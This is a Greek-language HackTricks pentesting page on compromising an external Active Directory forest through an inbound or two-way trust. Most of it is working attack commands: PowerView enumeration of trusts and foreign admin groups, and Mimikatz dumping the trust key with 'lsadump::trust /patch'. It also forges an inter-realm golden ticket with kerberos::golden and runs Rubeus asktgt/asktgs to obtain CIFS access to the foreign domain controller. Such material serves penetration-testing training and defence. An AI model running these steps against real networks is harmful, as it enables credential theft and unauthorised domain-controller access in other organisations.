# Εξωτερικό Δάσος Τομέα - Μονοκατεύθυνση (Εισερχόμενη) ή αμφίδρομη {{#include ../../banners/hacktricks-training.md}} Σε αυτό το σενάριο, ένας εξωτερικός τομέας σας εμπιστεύεται (ή και οι δύο σας εμπιστεύονται ο ένας τον άλλον), οπότε μπορείτε να αποκτήσετε κάποια πρόσβαση σε αυτόν. ## Καταμέτρηση Πρώτα απ' όλα, πρέπει να **καταμετρήσετε** την **εμπιστοσύνη**: ```bash Get-DomainTrust SourceName : a.domain.local --> Current domain TargetName : domain.external --> Destination domain TrustType : WINDOWS-ACTIVE_DIRECTORY TrustAttributes : TrustDirection : Inbound --> Inboud trust WhenCreated : 2/19/2021 10:50:56 PM WhenChanged : 2/19/2021 10:50:56 PM # Get name of DC of the other domain Get-DomainComputer -Domain domain.external -Properties DNSHostName dnshostname ----------- dc.domain.external # Groups that contain users outside of its domain and return its members Get-DomainForeignGroupMember -Domain domain.external GroupDomain : domain.external GroupName : Administrators GroupDistinguishedName : CN=Administrators,CN=Builtin,DC=domain,DC=external MemberDomain : domain.external MemberName : S-1-5-21-3263068140-2042698922-2891547269-1133 MemberDistinguishedName : CN=S-1-5-21-3263068140-2042698922-2891547269-1133,CN=ForeignSecurityPrincipals,DC=domain, DC=external # Get name of the principal in the current domain member of the cross-domain group ConvertFrom-SID S-1-5-21-3263068140-2042698922-2891547269-1133 DEV\External Admins # Get members of the cros-domain group Get-DomainGroupMember -Identity "External Admins" | select MemberName MemberName ---------- crossuser # Lets list groups members ## Check how the "External Admins" is part of the Administrators group in that DC Get-NetLocalGroupMember -ComputerName dc.domain.external ComputerName : dc.domain.external GroupName : Administrators MemberName : SUB\External Admins SID : S-1-5-21-3263068140-2042698922-2891547269-1133 IsGroup : True IsDomain : True # You may also enumerate where foreign groups and/or users have been assigned # local admin access via Restricted Group by enumerating the GPOs in the foreign domain. ``` Στην προηγούμενη αρίθμηση βρέθηκε ότι ο χρήστης **`crossuser`** είναι μέσα στην ομάδα **`External Admins`** που έχει **Admin access** μέσα στο **DC του εξωτερικού τομέα**. ## Αρχική Πρόσβαση Αν **δεν μπορέσατε** να βρείτε καμία **ειδική** πρόσβαση του χρήστη σας στον άλλο τομέα, μπορείτε να επιστρέψετε στη Μεθοδολογία AD και να προσπαθήσετε να **privesc από έναν μη προνομιούχο χρήστη** (πράγματα όπως το kerberoasting για παράδειγμα): Μπορείτε να χρησιμοποιήσετε τις **Powerview functions** για να **enumerate** τον **άλλο τομέα** χρησιμοποιώντας την παράμετρο `-Domain` όπως στο: ```bash Get-DomainUser -SPN -Domain domain_name.local | select SamAccountName ``` {{#ref}} ./ {{#endref}} ## Υποκατάσταση ### Σύνδεση Χρησιμοποιώντας μια κανονική μέθοδο με τα διαπιστευτήρια των χρηστών που έχουν πρόσβαση στο εξωτερικό domain, θα πρέπει να μπορείτε να έχετε πρόσβαση: ```bash Enter-PSSession -ComputerName dc.external_domain.local -Credential domain\administrator ``` ### Κατάχρηση Ιστορικού SID Μπορείτε επίσης να καταχραστείτε το [**Ιστορικό SID**](sid-history-injection.md) σε ένα δάσος εμπιστοσύνης. Εάν ένας χρήστης μεταφερθεί **από ένα δάσος σε άλλο** και **η Φιλτράρισμα SID δεν είναι ενεργοποιημένη**, γίνεται δυνατή η **προσθήκη ενός SID από το άλλο δάσος**, και αυτό το **SID** θα **προστεθεί** στο **token του χρήστη** κατά την αυθεντικοποίηση **μέσω της εμπιστοσύνης**. > [!WARNING] > Ως υπενθύμιση, μπορείτε να αποκτήσετε το κλειδί υπογραφής με > > ```bash > Invoke-Mimikatz -Command '"lsadump::trust /patch"' -ComputerName dc.domain.local > ``` Μπορείτε να **υπογράψετε με** το **έμπιστο** κλειδί ένα **TGT που προσποιείται** τον χρήστη του τρέχοντος τομέα. ```bash # Get a TGT for the cross-domain privileged user to the other domain Invoke-Mimikatz -Command '"kerberos::golden /user: /domain: /SID: /rc4: /target: /ticket:C:\path\save\ticket.kirbi"' # Use this inter-realm TGT to request a TGS in the target domain to access the CIFS service of the DC ## We are asking to access CIFS of the external DC because in the enumeration we show the group was part of the local administrators group Rubeus.exe asktgs /service:cifs/dc.doamin.external /domain:dc.domain.external /dc:dc.domain.external /ticket:C:\path\save\ticket.kirbi /nowrap # Now you have a TGS to access the CIFS service of the domain controller ``` ### Πλήρης τρόπος προσποίησης του χρήστη ```bash # Get a TGT of the user with cross-domain permissions Rubeus.exe asktgt /user:crossuser /domain:sub.domain.local /aes256:70a673fa756d60241bd74ca64498701dbb0ef9c5fa3a93fe4918910691647d80 /opsec /nowrap # Get a TGT from the current domain for the target domain for the user Rubeus.exe asktgs /service:krbtgt/domain.external /domain:sub.domain.local /dc:dc.sub.domain.local /ticket:doIFdD[...snip...]MuSU8= /nowrap # Use this inter-realm TGT to request a TGS in the target domain to access the CIFS service of the DC ## We are asking to access CIFS of the external DC because in the enumeration we show the group was part of the local administrators group Rubeus.exe asktgs /service:cifs/dc.doamin.external /domain:dc.domain.external /dc:dc.domain.external /ticket:doIFMT[...snip...]5BTA== /nowrap # Now you have a TGS to access the CIFS service of the domain controller ``` {{#include ../../banners/hacktricks-training.md}}